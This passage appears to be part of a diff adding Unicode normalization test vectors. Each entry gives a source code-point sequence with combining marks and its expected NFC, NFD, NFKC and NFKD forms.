+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10EAB, 0x0062], NFC: [0x00E0, 0x05AE, 0x10EAB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10EAB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10EAB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10EAB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10EAB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10EAB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10EAB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10EAB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10EAB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10EAC, 0x0062], NFC: [0x00E0, 0x05AE, 0x10EAC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10EAC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10EAC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10EAC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10EAC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10EAC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10EAC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10EAC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10EAC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10F46, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10F46, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10F46, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10F46, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10F46, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F46, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10F46, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10F46, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10F46, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10F46, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10F47, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10F47, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10F47, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10F47, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10F47, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F47, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10F47, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10F47, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10F47, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10F47, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10F48, 0x0062], NFC: [0x00E0, 0x05AE, 0x10F48, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10F48, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10F48, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10F48, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10F48, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10F48, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10F48, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10F48, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10F48, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10F49, 0x0062], NFC: [0x00E0, 0x05AE, 0x10F49, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10F49, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10F49, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10F49, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10F49, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10F49, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10F49, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10F49, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10F49, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10F4A, 0x0062], NFC: [0x00E0, 0x05AE, 0x10F4A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10F4A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10F4A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10F4A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10F4A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10F4A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10F4A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10F4A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10F4A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10F4B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10F4B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10F4B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10F4B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10F4B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F4B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10F4B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10F4B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10F4B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10F4B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x10F4C, 0x0062], NFC: [0x00E0, 0x05AE, 0x10F4C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x10F4C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x10F4C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x10F4C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x10F4C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x10F4C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x10F4C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x10F4C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x10F4C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10F4D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10F4D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10F4D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10F4D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10F4D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F4D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10F4D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10F4D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10F4D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10F4D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10F4E, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10F4E, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10F4E, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10F4E, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10F4E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F4E, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10F4E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10F4E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10F4E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10F4E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10F4F, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10F4F, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10F4F, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10F4F, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10F4F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F4F, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10F4F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10F4F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10F4F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10F4F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x10F50, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x10F50, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x10F50, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x10F50, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x10F50, 0x059A, 0x0062] },
+{ source: [0x0061, 0x10F50, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x10F50, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x10F50, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x10F50, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x10F50, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11046, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11046, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11046, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11046, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11046, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11046, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11046, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11046, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11046, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11046, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1107F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1107F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1107F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1107F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1107F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1107F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1107F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1107F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1107F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1107F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x110B9, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x110B9, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x110B9, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x110B9, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x110B9, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x110B9, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x110B9, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x110B9, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x110B9, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x110B9, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x110BA, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x110BA, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x110BA, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x110BA, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x110BA, 0x3099, 0x0062] },
+{ source: [0x0061, 0x110BA, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x110BA, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x110BA, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x110BA, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x110BA, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11100, 0x0062], NFC: [0x00E0, 0x05AE, 0x11100, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11100, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11100, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11100, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11100, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11100, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11100, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11100, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11100, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11101, 0x0062], NFC: [0x00E0, 0x05AE, 0x11101, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11101, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11101, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11101, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11101, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11101, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11101, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11101, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11101, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11102, 0x0062], NFC: [0x00E0, 0x05AE, 0x11102, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11102, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11102, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11102, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11102, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11102, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11102, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11102, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11102, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11133, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11133, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11133, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11133, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11133, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11133, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11133, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11133, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11133, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11133, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11134, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11134, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11134, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11134, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11134, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11134, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11134, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11134, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11134, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11134, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x11173, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x11173, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x11173, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x11173, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x11173, 0x3099, 0x0062] },
+{ source: [0x0061, 0x11173, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x11173, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x11173, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x11173, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x11173, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x111C0, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x111C0, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x111C0, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x111C0, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x111C0, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x111C0, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x111C0, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x111C0, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x111C0, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x111C0, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x111CA, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x111CA, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x111CA, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x111CA, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x111CA, 0x3099, 0x0062] },
+{ source: [0x0061, 0x111CA, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x111CA, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x111CA, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x111CA, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x111CA, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11235, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11235, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11235, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11235, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11235, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11235, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11235, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11235, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11235, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11235, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x11236, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x11236, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x11236, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x11236, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x11236, 0x3099, 0x0062] },
+{ source: [0x0061, 0x11236, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x11236, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x11236, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x11236, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x11236, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x112E9, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x112E9, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x112E9, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x112E9, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x112E9, 0x3099, 0x0062] },
+{ source: [0x0061, 0x112E9, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x112E9, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x112E9, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x112E9, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x112E9, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x112EA, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x112EA, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x112EA, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x112EA, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x112EA, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x112EA, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x112EA, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x112EA, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x112EA, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x112EA, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1133B, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1133B, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1133B, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1133B, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1133B, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1133B, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1133B, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1133B, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1133B, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1133B, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1133C, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1133C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1133C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1133C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1133C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1133C, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1133C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1133C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1133C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1133C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1134D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1134D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1134D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1134D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1134D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1134D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1134D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1134D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1134D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1134D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11366, 0x0062], NFC: [0x00E0, 0x05AE, 0x11366, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11366, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11366, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11366, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11366, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11366, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11366, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11366, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11366, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11367, 0x0062], NFC: [0x00E0, 0x05AE, 0x11367, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11367, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11367, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11367, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11367, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11367, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11367, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11367, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11367, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11368, 0x0062], NFC: [0x00E0, 0x05AE, 0x11368, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11368, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11368, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11368, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11368, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11368, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11368, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11368, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11368, 0x0300, 0x0315, 0x0062] },
